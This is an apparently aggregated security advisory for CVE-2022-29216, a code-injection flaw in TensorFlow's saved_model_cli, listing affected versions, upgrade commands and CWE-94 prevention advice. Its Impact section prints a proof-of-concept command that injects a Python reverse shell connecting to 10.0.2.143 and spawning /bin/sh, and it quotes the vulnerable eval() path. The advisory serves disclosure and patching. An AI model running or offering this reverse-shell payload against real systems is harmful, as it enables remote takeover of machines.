GHSA-75c9-jrh4-79mc BIT-tensorflow-2022-29216 CVE-2022-29216 PYSEC-2026-3125 PYSEC-2026-3289 PYSEC-2026-963
Code injection in `saved_model_cli` in TensorFlow
- Severity
- 7.8 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.55%
- Chance of exploitation in the next 30 days. Higher than 45.96% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- Fix
- Available
- 3 packages have a fixed version
Description
Impact
TensorFlow's saved_model_cli tool is vulnerable to a code injection:
saved_model_cli run --input_exprs 'x=print("malicious code to run")' --dir ./
--tag_set serve --signature_def serving_default
This can be used to open a reverse shell
saved_model_cli run --input_exprs 'hello=exec("""\nimport socket\nimport
subprocess\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\ns.connect(("10.0.2.143",33419))\nsubprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())""")'
--dir ./ --tag_set serve --signature_def serving_default
This is because the fix for CVE-2021-41228 was incomplete. Under certain code paths it still allows unsafe execution:
def preprocess_input_exprs_arg_string(input_exprs_str, safe=True):
# ...
for input_raw in filter(bool, input_exprs_str.split(';')):
# ...
if safe:
# ...
else:
# ast.literal_eval does not work with numpy expressions
input_dict[input_key] = eval(expr) # pylint: disable=eval-used
return input_dict
This code path was maintained for compatibility reasons as we had several test cases where numpy expressions were used as arguments.
However, given that the tool is always run manually, the impact of this is still not severe. We have now removed the safe=False argument, so all parsing is done withough calling eval.
Patches
We have patched the issue in GitHub commit c5da7af048611aa29e9382371f0aed5018516cac.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Andey Robins from the Cybersecurity Education and Research Lab in the Department of Computer Science at the University of Wyoming.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| tensorflow | < 2.6.4 |
2.6.4 |
| tensorflow | >= 2.7.0, < 2.7.2 |
2.7.2 |
| tensorflow | >= 2.8.0, < 2.8.1 |
2.8.1 |
| tensorflow | < 2.6.4>= 2.7.0, < 2.7.2>= 2.8.0, < 2.8.1 |
2.6.42.7.22.8.1 |
| tensorflow-cpu | < 2.6.4 |
2.6.4 |
| tensorflow-cpu | >= 2.7.0, < 2.7.2 |
2.7.2 |
| tensorflow-cpu | >= 2.8.0, < 2.8.1 |
2.8.1 |
| tensorflow-cpu | < 2.6.4>= 2.7.0, < 2.7.2>= 2.8.0, < 2.8.1 |
2.6.42.7.22.8.1 |
| tensorflow-gpu | < 2.6.4 |
2.6.4 |
| tensorflow-gpu | >= 2.7.0, < 2.7.2 |
2.7.2 |
| tensorflow-gpu | >= 2.8.0, < 2.8.1 |
2.8.1 |
| tensorflow-gpu | < 2.6.4>= 2.7.0, < 2.7.2>= 2.8.0, < 2.8.1 |
2.6.42.7.22.8.1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
tensorflow PyPI → 2.6.4
- pip
pip install --upgrade "tensorflow>=2.6.4"- poetry
poetry add "tensorflow>=2.6.4"- uv
uv add "tensorflow>=2.6.4"
tensorflow-cpu PyPI → 2.6.4
- pip
pip install --upgrade "tensorflow-cpu>=2.6.4"- poetry
poetry add "tensorflow-cpu>=2.6.4"- uv
uv add "tensorflow-cpu>=2.6.4"
tensorflow-gpu PyPI → 2.6.4
- pip
pip install --upgrade "tensorflow-gpu>=2.6.4"- poetry
poetry add "tensorflow-gpu>=2.6.4"- uv
uv add "tensorflow-gpu>=2.6.4"
Severity breakdown
CVSS 3.1 7.8
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Local
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Advisories
Packages
Other links
- github.com/tensorflow/tensorflow/security/advisories/GHSA-75c9-jrh4-79mc
- github.com/tensorflow/tensorflow/commit/8b202f08d52e8206af2bdb2112a62fafbc546ec7
- github.com/tensorflow/tensorflow/commit/c5da7af048611aa29e9382371f0aed5018516cac
- github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/…
- github.com/tensorflow/tensorflow/releases/tag/v2.6.4
- github.com/tensorflow/tensorflow/releases/tag/v2.7.2
- github.com/tensorflow/tensorflow/releases/tag/v2.8.1
- github.com/tensorflow/tensorflow/releases/tag/v2.9.0
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-gjh7-xx4r-x345 TensorFlow has segfault in array_ops.upper_bound | High | Also affects tensorflow |
| GHSA-fxgc-95xx-grvq TensorFlow Denial of Service vulnerability | Medium | Also affects tensorflow |
| GHSA-93vr-9q9m-pj8p TensorFlow vulnerable to Out-of-Bounds Read in DynamicStitch | High | Also affects tensorflow |
| GHSA-qjqc-vqcf-5qvj TensorFlow vulnerable to seg fault in `tf.raw_ops.Print` | High | Also affects tensorflow |
| GHSA-7jvm-xxmr-v5cw TensorFlow vulnerable to integer overflow in EditDistance | High | Also affects tensorflow |
| GHSA-64jg-wjww-7c5w TensorFlow has Null Pointer Error in TensorArrayConcatV2 | High | Also affects tensorflow |
| GHSA-6hg6-5c2q-7rcr TensorFlow has Heap-buffer-overflow in AvgPoolGrad | High | Also affects tensorflow |
| GHSA-558h-mq8x-7q9g TensorFlow has Null Pointer Error in SparseSparseMaximum | High | Also affects tensorflow |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor